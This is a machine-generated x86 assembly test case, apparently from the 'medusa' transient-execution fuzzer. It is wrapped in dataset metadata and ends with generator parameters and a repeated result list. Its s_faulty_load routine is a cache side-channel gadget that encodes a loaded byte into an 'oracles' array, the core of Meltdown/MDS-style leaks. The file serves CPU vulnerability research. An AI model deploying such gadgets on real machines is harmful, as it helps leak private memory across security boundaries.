] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1421.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1421.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x11762, %rsi
lea addresses_UC_ht+0x15f62, %rdi
nop
dec %r12
mov $3, %rcx
rep movsq
nop
nop
sub $43772, %r14
lea addresses_A_ht+0x790, %r15
clflush (%r15)
nop
nop
nop
nop
sub $49642, %rcx
movl $0x61626364, (%r15)
xor %rsi, %rsi
lea addresses_UC_ht+0x14762, %rdi
nop
nop
add %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rdi)
nop
xor $25131, %r14
lea addresses_UC_ht+0x18822, %rsi
lea addresses_UC_ht+0x1bd62, %rdi
nop
xor %r12, %r12
mov $2, %rcx
rep movsl
nop
and $29919, %rsi
lea addresses_normal_ht+0x17416, %r14
cmp %r15, %r15
mov $0x6162636465666768, %r10
movq %r10, (%r14)
and $64547, %rsi
lea addresses_WC_ht+0x1888a, %rsi
lea addresses_WT_ht+0x6d62, %rdi
nop
nop
nop
nop
cmp %rax, %rax
mov $24, %rcx
rep movsw
nop
sub $58969, %r15
lea addresses_A_ht+0x7962, %r12
nop
nop
nop
add %rcx, %rcx
vmovups (%r12), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
nop
nop
nop
xor $44083, %rdi
lea addresses_D_ht+0x15502, %rax
nop
nop
lfence
vmovups (%rax), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r10
nop
nop
nop
nop
nop
and $15732, %r15
lea addresses_WT_ht+0x17d62, %rdi
nop
nop
sub %rcx, %rcx
movw $0x6162, (%rdi)
xor $4531, %rdi
lea addresses_D_ht+0x19162, %rsi
nop
nop
xor $24999, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
and $0xffffffffffffffc0, %rsi
vmovaps %ymm5, (%rsi)
nop
nop
cmp $44534, %rax
lea addresses_WT_ht+0x13834, %rsi
lea addresses_UC_ht+0x3e62, %rdi
nop
nop
nop
nop
nop
and $1293, %r12
mov $125, %rcx
rep movsl
nop
sub %rdi, %rdi
lea addresses_WT_ht+0x5162, %rcx
nop
nop
add $4803, %rsi
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
sub %r10, %r10
lea addresses_UC_ht+0x87fa, %r14
nop
nop
cmp $3669, %rax
mov (%r14), %r12d
add $49831, %r15
lea addresses_A_ht+0x1a8a2, %rcx
sub $59941, %r14
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %r10
inc %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rbx
push %rsi
// Faulty Load
lea addresses_PSE+0x18562, %r15
nop
add $1764, %rsi
vmovups (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r13
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rsi
pop %rbx
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': True, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 5}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 37.658416 | 2,999 | 0.658604 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.